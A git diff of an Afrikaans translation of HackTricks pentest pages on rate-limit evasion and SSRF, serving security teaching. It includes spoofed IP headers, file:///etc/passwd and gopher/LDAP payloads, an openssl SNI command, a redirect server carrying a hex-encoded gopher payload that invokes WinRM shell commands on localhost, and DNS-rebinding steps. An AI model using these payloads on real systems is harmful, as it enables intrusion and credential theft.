<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Koersgrensontduikingstegnieke
## Tariefbeperking deurloop tegnieke
### Verkenning van Soortgelyke Eindpunte
@ -34,7 +34,7 @@ Die invoeging van leë bytes soos `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `
### Manipulering van IP-Oorsprong via Koppe
Die wysiging van koppe om die waargenome IP-oorsprong te verander, kan help om IP-gebaseerde koersgrensbeperkings te ontduik. Koppe soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meervoudige instansies van `X-Forwarded-For`, kan aangepas word om versoek vanaf verskillende IP's te simuleer.
Die wysiging van koppe om die waargenome IP-oorsprong te verander, kan help om IP-gebaseerde tariefbeperking te ontduik. Koppe soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meervoudige instansies van `X-Forwarded-For`, kan aangepas word om versoek vanaf verskillende IP-adresse te simuleer.
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -54,16 +54,38 @@ Dit word aanbeveel om ander versoekkoppe soos die gebruikers-agent en koekies te
### Benutting van API Gateway-gedrag
Sommige API-poorte is ingestel om snelheidsbeperking toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters by die versoek te voeg, is dit moontlik om die poort se snelheidsbeperkingslogika te omseil, sodat elke versoek uniek lyk. Byvoorbeeld `/resetpwd?someparam=1`.
Sommige API-poorte is ingestel om tariefbeperking toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters by die versoek te voeg, is dit moontlik om die poort se tariefbeperkingslogika te omseil, sodat elke versoek uniek lyk. Byvoorbeeld `/resetpwd?someparam=1`.
### Aanteken in Jou Rekening Voor Elke Poging
Om in te teken op 'n rekening voor elke poging, of elke stel pogings, kan die snelheidsbeperkingsbalie herstel. Dit is veral nuttig wanneer toetsaanmeldingsfunksies getoets word. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om geloofsbriewe elke paar pogings te roteer en te verseker dat volgverwysings gemerk is, kan doeltreffend snelheidsbeperkingsbalies herlaai.
Om in te teken op 'n rekening voor elke poging, of elke stel pogings, kan die tariefbeperkingsbalie herstel. Dit is veral nuttig wanneer toets van aanmeldingsfunksies. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om geloofsbriewe elke paar pogings te roteer en om te verseker dat volgverwysings gemerk is, kan effektief tariefbeperkingsbalies herstel.
### Benutting van Proksinetwerke
Die implementering van 'n netwerk van proksies om die versoek oor verskeie IP-adresse te versprei, kan IP-gebaseerde snelheidsbeperkings doeltreffend omseil. Deur verkeer deur verskeie proksies te roeteer, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die snelheidsbeperking verdun.
Die implementering van 'n netwerk van proksies om die versoek oor verskeie IP-adresse te versprei, kan IP-gebaseerde tariefbeperkings effektief omseil. Deur verkeer deur verskeie proksies te roeteer, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die effektiwiteit van die tariefbeperking verdun.
### Die Aanval Versprei Oor Verskillende Rekeninge of Sessies
### Verdeling van die Aanval Oor Verskillende Rekeninge of Sessies
As die teikensisteem snelheidsbeperkings op 'n per-rekening of per-sessie basis toepas, kan die aanval of toets oor verskeie rekeninge of sessies verdeel word om te help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan die las doeltreffend verdeel om binne toelaatbare limiete te bly.
Indien die teikensisteem tariefbeperkings op 'n per-rekening of per-sessie basis toepas, kan die aanval of toets oor verskeie rekeninge of sessies verdeel word om te help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan die las effektief verdeel om binne toelaatbare limiete te bly.
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
<details>
@ -24,11 +24,11 @@ Ander maniere om HackTricks te ondersteun:
## Basiese Inligting
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **bedienerkant-toepassing** manipuleer om **HTTP-aanvrae** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne aanvrae wat deur die aanvaller gerig word.
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **server-side toepassing** manipuleer om **HTTP-versoeke** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke gerig deur die aanvaller.
## Vang SSRF
Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos die volgende gebruik:
Die eerste ding wat jy moet doen is om 'n SSRF interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos gebruik:
* **Burp Collaborator**
* [**pingb**](http://pingb.in)
@ -40,25 +40,25 @@ Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenere
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 'n Burp Collaborator wat ngrok gebruik
## Gelysde Domeine Oorweging
## Gelysde Domeine Omgang
Gewoonlik sal jy vind dat die SSRF net werk in **sekere gelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie lys van toelaatbare items te omseil**:
Gewoonlik sal jy vind dat die SSRF net werk in **sekere gelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Omseiling via oop omleiding
### Omgang via oop omleiding
As die bediener korrek beskerm is, kan jy al die beperkings omseil deur 'n Oop Omleiding binne die webbladsy te benut. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding benut om die bediener te maak om interne hulpbronne te benader**.\
As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy uit te buit**. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding uitbuit om die bediener te maak om interne enige hulpbron** te benader.\
Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protokolle
* **file://**
* Die URL-skema `file://` word verwys na, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
* Die URL-skema `file://` word verwys, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
* **dict://**
* Die DICT URL-skema word beskryf as wat gebruik word vir die toegang tot definisies of woordelyste via die DICT-protokol. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywing nommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
* **TFTP://**
@ -66,7 +66,7 @@ Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.
* **LDAP://**
* Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekende aksies gebaseer op daardie inligting.
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekaksies gebaseer op daardie inligting.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -134,7 +134,7 @@ Analitiese sagteware op bedieners hou dikwels die Verwysingskop dop om inkomende
## SSRF via SNI-data van sertifikaat
'n Verkeerde konfigurasie wat die verbinding met enige agterkant moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
'n Foutkonfigurasie wat die verbinding met enige agterkant moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
```
stream {
server {
@ -145,11 +145,11 @@ ssl_preread on;
}
}
```
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant, soos `internal.host.com`, af te dwing met behulp van die `openssl`-opdrag word hieronder gegee:
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant te dwing, soos `internal.host.com`, met behulp van die `openssl`-opdrag word hieronder gegee:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Wget lêer oplaai](../file-upload/#wget-lêer-oplaai-ssrf-truuk)
## [Laaibestand oplaai met Wget](../file-upload/#wget-file-upload-ssrf-trick)
## SSRF met Opdraginspuiting
@ -157,9 +157,9 @@ Dit mag die moeite werd wees om 'n lading soos te probeer: `` url=http://3iufty2
## PDFs Weergawe
As die webblad outomaties 'n PDF skep met 'n paar inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
As die webblad outomaties 'n PDF skep met sekere inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Van SSRF tot DoS
## Vanaf SSRF tot DoS
Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF van die sessies te misbruik.
@ -183,7 +183,7 @@ print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
```html
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
@ -206,10 +206,10 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer workflows** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
## Verkeerd geconfigureerde proksi's vir SSRF
@ -277,7 +277,7 @@ var_dump($response);
```
</details>
PHP laat die gebruik van die **karakter `*` voor 'n skuiwe in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die hoofpadnaam `/` gebruik kan word en dat punte `.` nie voor die eerste skuiwe toegelaat word nie, dus is dit nodig om 'n puntlose-heksgekodeerde IP-adres te gebruik byvoorbeeld:
PHP laat die gebruik van die **karakter `*` voor 'n skuiwe in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die hoof padnaam `/` gebruik kan word en dat kolletjies `.` nie voor die eerste skuiwe toegelaat word nie, dus is dit nodig om 'n puntlose-heks gekodeerde IP-adres te gebruik byvoorbeeld:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -293,11 +293,11 @@ Indien jy **probleme** ondervind om inhoud van 'n plaaslike IP **uit te sif** as
### Geoutomatiseerde DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikenrekenaar se IP-adres en om aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam na die teikenrekenaar se IP-adres te herbind en aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.
Kyk ook na die **openbaar bedrywende bediener in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
Kyk ook na die **openbaar lopende bediener in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS-sessie-ID/Sessiekaartjie
## DNS Rebidding + TLS-sessie-ID/Sessietiket
Vereistes:
@ -309,13 +309,13 @@ Aanval:
1. Vra die gebruiker/bot om **toegang** tot 'n **domein** wat deur die **aanvaller** beheer word
2. Die **TTL** van die **DNS** is **0** sek (sodat die slagoffer binnekort weer die IP van die domein sal nagaan)
3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller voeg die **lading binne** die **Sessie-ID of Sessiekaartjie** in.
3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller voeg die **pakkie binne** die **Sessie-ID of Sessietiket** in.
4. Die **domein** sal 'n **oneindige kringloop** van herleiings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat benader totdat dit **weer** 'n **DNS-versoek** van die domein uitvoer.
5. In die DNS-versoek word 'n **privaat IP**-adres **nou** gegee (byvoorbeeld 127.0.0.1)
6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Kaartjie-ID stuur (waarin die **lading** van die aanvaller ingesluit was). So geluk, jy het dit reggekry om die **gebruiker/bot homself aan te val**.
6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Tiket-ID stuur (waarin die **pakkie** van die aanvaller ingesluit was). So geluk, jy het dit reggekry om die **gebruiker/bot homself aan te val**.
Let wel dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.aanvaller.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\
Om **hierdie aanval uit te voer kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Let wel dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\
Om **hierdie aanval uit te voer, kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Vir **meer inligting** kyk na die aanbieding waar hierdie aanval verduidelik word: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Blinde SSRF
@ -324,11 +324,11 @@ Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat in die blinde jy n
### Tyd-gebaseerde SSRF
Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (dit neem miskien langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie)
Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (miskien neem dit langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie)
## Wolk-SSRF-uitbuiting
## Cloud SSRF Uitbuiting
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe:
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing hardloop, vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
@ -336,7 +336,7 @@ As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, ka
## SSRF Kwesbare Platforms
Verskeie bekende platforms bevat of het SSRF-kwesbaarhede gehad, kyk na hulle in:
Verskeie bekende platforms bevat of het SSRF-kwesbaarhede bevat, kyk na hulle in:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@ -352,7 +352,7 @@ Hulpmiddel om SSRF-kwesbaarhede op te spoor en uit te buit
* [Blogpos oor Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Hierdie hulpmiddel genereer Gopher-ladings vir:
Hierdie hulpmiddel genereer Gopher-pakkette vir:
* MySQL
* PostgreSQL
@ -365,7 +365,7 @@ Hierdie hulpmiddel genereer Gopher-ladings vir:
* [Blogpos oor SSRF-gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_ kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-lading vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_-ladings direk gegenereer word.
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_ kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-pakkie vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
@ -390,7 +390,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
